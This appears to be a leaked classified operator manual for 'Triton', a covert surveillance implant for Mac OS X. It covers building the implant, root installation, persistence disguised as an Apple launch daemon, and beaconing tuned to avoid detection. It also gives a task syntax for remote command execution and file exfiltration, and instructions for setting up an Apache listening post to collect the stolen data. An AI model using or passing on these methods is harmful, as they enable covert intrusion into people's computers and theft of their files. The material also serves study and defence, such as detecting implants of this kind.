SECRET//NOFORN

Triton 1.3 User Guide

DESCRIPTION

Triton is an automated implant for Mac OS X. For information about the diskless,
EFI-persistent version of Triton called Der Starke, see the Der Starke 1.3 Companion User
Guide.

SYSTEM REQUIREMENTS

Supported Build/Postprocessing Systems

Mac OS X 10.7 or 10.8 + lxml
Linux with Python-2.7 + lxml
Supported Target Systems: Mac OS X 10.7 or 10.8
Listening Post: Tested with Apache/2.2 on Linux and OpenBSD

BUILD INSTRUCTIONS

1. Run triton.pz create -h. Build options and help will appear
2. After building, a directory called TRITON-XXXX will be created; XXXX is the specified
target ID Notable contents of the build directory:

UNCLASSIFIED/APACHE_FILES/elf32..........32-bit LP CGI executable for Linux

UNCLASSIFIED/APACHE_FILES/elf64..........64-bit LP CGI executable for Linux
UNCLASSIFIED/APACHE_FILES/cgi.c..........CGI executable source code
UNCLASSIFIED/APACHE_FILES/vhost.sh.......LP installation helper script
UNCLASSIFIED/APACHE_FILES/XXX(.conf).....Apache vhost config file and keys
directory
UNCLASSIFIED/TASKING/....................Directory containing tasking files for
the LP
UNCLASSIFIED/inst.sh.....................Implant install script
UNCLASSIFIED/config.last.................Last config generated
UNCLASSIFIED/target.cert.................Implant certificate
UNCLASSIFIED/lp.txt......................The last LP specified
UNCLASSIFIED/survey.bundle...............Survey bundle for use with bundles
command
UNCLASSIFIED/error.guid..................An internal identifier for the implant
used in updates
UNCLASSIFIED/error.name..................An internal identifier for the implant
used in updates
CLASSIFY/ca_key..........................Certificate for decrypting payloads
(can be classified)

INSTALLATION INSTRUCTIONS

Installation options:
Execute inst.sh on the target system as root
Use Dark Mallet to cause inst.sh to be executed on the next boot
Mount the target system's disk to /Volumes--inst.sh will install the implant on
each valid OS X file system found in /Volumes
Install locations for Triton/on-disk version
/var/spool/uucpd/
/System/Library/LaunchDaemons/com.apple.nis.ypbnd.plist

CONFIGURATION PARAMETERS

ID: A number used to identify and manage the implant's files and keys
LP (-l): The URL of the CGI script to which the implant will beacon. The URL should
not contain an IP address if using fully authenticated SSL
Beacon Interval (-b): The minimum number of seconds between beacon attempts. Random
jitter may increase any given beacon interval by up to 33% of the specified value
 SECRET//NOFORN
Check URLS (-c): A list of HTTP URLs that will be used to verify Internet connectivity
before communication with an LP is attempted. A random URL is selected from this list
during each beacon. It must return HTTP/200 in order for a beacon to occur
Exfiltration Window (-e): The combined total number of bytes to upload for watchpaths,
dropbox and bigfile tasks
Hibernation Period (- d): The number of seconds to wait before attempting any network
activity. The implant adds the beacon interval to the hibernation period to determine
the next date at which a beacon may be attempted
Task File (-t): A file containing tasks for the implant that will be retrieved from
the LP (see TASKING below)
Network Injection Processes (-n): Processes into which the implant may inject it's
networking bundle. The process list is scanned in the order specified. The first
process found is used until it exits
Trigger Paths (-p): Paths that create trigger events when their contents are changed.
User directory-relative paths must be begin with a tilde and must be quoted. Only Der
Starke deployments can change this option.
Uninstall Domain (-u): A domain name that will be queried when the implant uninstalls
Full Authentication (-a): Indicates whether or not the implant should attempt to use
fully authenticated SSL
Uninstall Period (-x): If set, the tool uninstalls after this many seconds have passed
and it has not successfully beaconed. If not set, the tool uninstalls after 4 forced
beacons by default

TASKING

Triton supports two types of tasks. Automatic tasks, are performed every time the implant
beacons. They are stored in the LP's "a" file, which persists across beacons on the LP. Some
automatic tasks rely on state information in the LP's "fls/s" file. Immediate tasks are
performed only once. They are stored in the LP's "fls/i" file, which is removed by the LP
after it's fetched the first time. Immediate task execution stops on the first error
encountered. Here's a sample task file showing all of the supported tasks:

####### IMMEDIATE TASKS ########

# GET: recursively get the specified files/folders, regardless of size
get:/some path/here
get:/a/file:/another file/here:/some/directory/

# PUT: put the source file on the target system at the specified location
# - file will be root owned and executable by root
# - directory containing dest file must exist
put:/sourcefile:/destfile

# EXEC: execute something with the specified parameters

# - arg 1 is the executable on target
# - if arg2 and 3 are present, and arg 2 is "stdin" then arg3 is piped to stdin
# - all other parameters are passed to the executable
exec:/some/file
exec:/some/file:args:moreargs:etc
exec:/some/file:stdin:/some/stdin/file:args:moreargs

# UNINSTALL: uninstall, optionally removing the specified files

# - Triton will remove it's files and stop running
# - Der Starke will set an NVRAM variable to indicate uninstall on next reboot
# - The update bundle will also be removed
uninstall
uninstall:/some/path:/some/other/file

# DIRWALK: recursively lists the contents of a directory, up to the specified limit

dirwalk:/some/path:1024

####### AUTOMATIC TASKS ########

# SCRIPTS: execute the specified scripts, returning the stdout/stderr
# - scripts are piped to stdin of /bin/bash
# - WARNING: do not self-remove $0, it's /bin/bash !!!
# - WARNING: execution time and output size are unbounded !!!
scripts:/some/local/path.sh:/another/script.sh

# BUNDLES: execute the specified bundles, returning their status/output

bundles:/some/local/bundle.sh:/yet/another/bndl

# WATCHPATHS: chunk/download contents of specified files/folders, oldest files first

# - exfill window is respected
# - relative paths may be specified with tilde
 SECRET//NOFORN
# - empty directories are not shown in collected output
watchpaths:/some/remote path:/another remote/path:/yet another path/.txt:~/a/relative/path

# BIGFILE: chunk/download the specified file, respecting exfil window

bigfile:/some/file/to/chunk.dat

# DROPBOX: chunk/download and remove files from this folder, respecting exfil window
dropbox:/some/remote/path

UPDATING THE IMPLANT

Run the new implant builder's "create" command to generate patched.brains.disk and
patched.brains.nvram files
Run the old implant builder's "update" command, be sure to choose the correct update
file for the installation:
specify patched.brains.disk with -b to update a Triton instance
specify patched.brains.nvram with -b to update a Der Starke instance
specify the old implant's target.cert and ca_key with -c and -p, respectively
Run the old implant builder to issue a "put" command that places the update here:
/var/spool/uucpd/ufcp
Each time the implant reloads, it will attempt to load an update in
/var/spool/uucpd/ufcp
A Der Starke instance will reload approximately every 10 minutes
A Triton instance will reload every time it beacons
After post-processing new files from the implant, verify that the latest
guids/guid.XXX file is different from previous versions

BEACON SEQUENCE

The implant will only beacon if the following conditions are met:
The implant has been triggered at least once
The hibernation period and one interval has expired since the first trigger
The implant has not attempted to beacon for at least one interval
The implant can successfully make an HTTP GET request to one of the check URLs
The implant makes an HTTP(S) GET request to the LP and downloads a the a, i, c and s
files from the LP, if any are present
The implant decrypts, decompresses, then executes the payload
If no a, i, c, or s files were present on the LP, the payload is considered
invalid
If the payload was valid, the beacon will be considered successful, resetting
the internal error count
The implant compresses and encrypts resulting collection
The implant compresses and encrypts some state information for itself
The implant uploads the collection and state information back to the LP with a single
HTTP(S) POST
The LP saves the uploaded data into the fls folder and optionally creates an "s" file
from the state information provided. This state information will be available for the
implant to download upon subsequent beacons
Other factors:
If an implant hasn't had a successful beacon in 3 months, it will perform a
forced beacon the next time it's triggered. During a forced beacon a check URL
is not consulted before contacting the LP
The implant will uninstall on its 4th consecutive failed forced beacon. With
regular triggering, this happens after approximately 12 months. Without regular
triggering, it may take longer

POST PROCESSING

Run postproc.pz -h, for instructions. The following files/folders will be created in the
specified output directory:

dir_listings/............dirwalk task results, named by processing date

bundles/.................bundle task output, named by processing date
scripts/.................script task output, named by processing date
files/...................get, bigfile and watchpaths files. Completed files suffixed
with modification date timestamp
dropbox/.................dropbox files. Completed files suffixed with modification
date timestamp
tasks/task.log.XXX.......a log of completed tasks for the beacon, suffixed by
postproccessing date
guids/guid.XXX...........GUID of the implant that uploaded the results, suffixed by
postprocessing date
 SECRET//NOFORN
TRITON INSTALLER STATUS CODES

The Triton installer outputs a status code with the string "XXXXX:" followed by a number:

0: Install Success
5: Install failed (internal error)
6: Install failed because the install script was not run by the root user
7: Install failed because the running system was not Lion or Mountain Lion

LP GUIDE

Here's what a typical Apache setup will look like:

An LP configured for SSL should have the following files in it's vhost configuration
directory:
some.domain.conf...............(required for SSL) Vhost configuration file for
the LP
some.domain/cacert.pem.........(required for SSL) The Certificate Authority file
some.domain/cert.pem...........(required for SSL) The LP's certificate
some.domain/privkey.pem........(required for SSL) The LP's private key
A typical Apache setup should have the following directives enabled:
Listen A.B.C.D:443.............The IP address and port upon which the Apache
server will listen
NameVirtualHost A.B.C.D:443....The IP address and port to which Apache should
apply Name Virtual Host rules. Should match the Listen directive above
Include YYYY/.conf............The directory where apache expects to find vhost
config files
Group XXXX.....................The group under which the apache process executes
SSL...........................(required for SSL) SSL options, usually in
mod_ssl.conf
SSLStrictSNIVHostCheck on......(required for SSL) Only enable if multiple SSL
vhosts share a single IP address
The LP can be configured manually, or by using the supplied vhost.sh script:
Identify a location to put the LP's web root (htdocs directory)
Identify the Apache user/group from httpd.conf
Identify the IP address/port that Apache uses for SSL (the
Listen/NameVirtualHost directives above)
Identify the Apache vhost configuration directory, as noted above
Identify the Apache logs directory from httpd.conf (ErrorLog...)
Note the domain name of the LP, as specified to the builder
copy the implant's APACHEFILES directory to a temporary directory on the LP
chmod 755 APACHEFILES/vhost.sh
edit the APACHEFILES/some.domain.conf file so that matches the IP address/port
above
execute the vhost.sh script with no arguments to see it's help output
execute the vhost.sh script with the information/arguments identified above
restart Apache, check the Apache logs for errors
test the LP by using curl on another system: curl --cert target.cert --cacert
cacert.pem --key target.privkey LPURL
check the Apache logs for errors
The LP's web root should contain the following files:
/........................(required) Root web directory. Apache must have
read/execute permissions
/a.......................(optional) Encrypted automatic task file. Apache must
have read/execute permissions
/c.......................(optional) Encrypted config file
/fls/....................(required) Upload directory. Apache must have
read/write/execute/unlink permissions
/fls/s...................(optional) Encrypted state file created by LP. Apache
must have read/write permissions
/fls/i...................(optional) Encrypted immediate task file. Apache must
have read/unlink permissions
/fls/*.up................(optional) Uploaded data. Apache must have write/unlink
permissions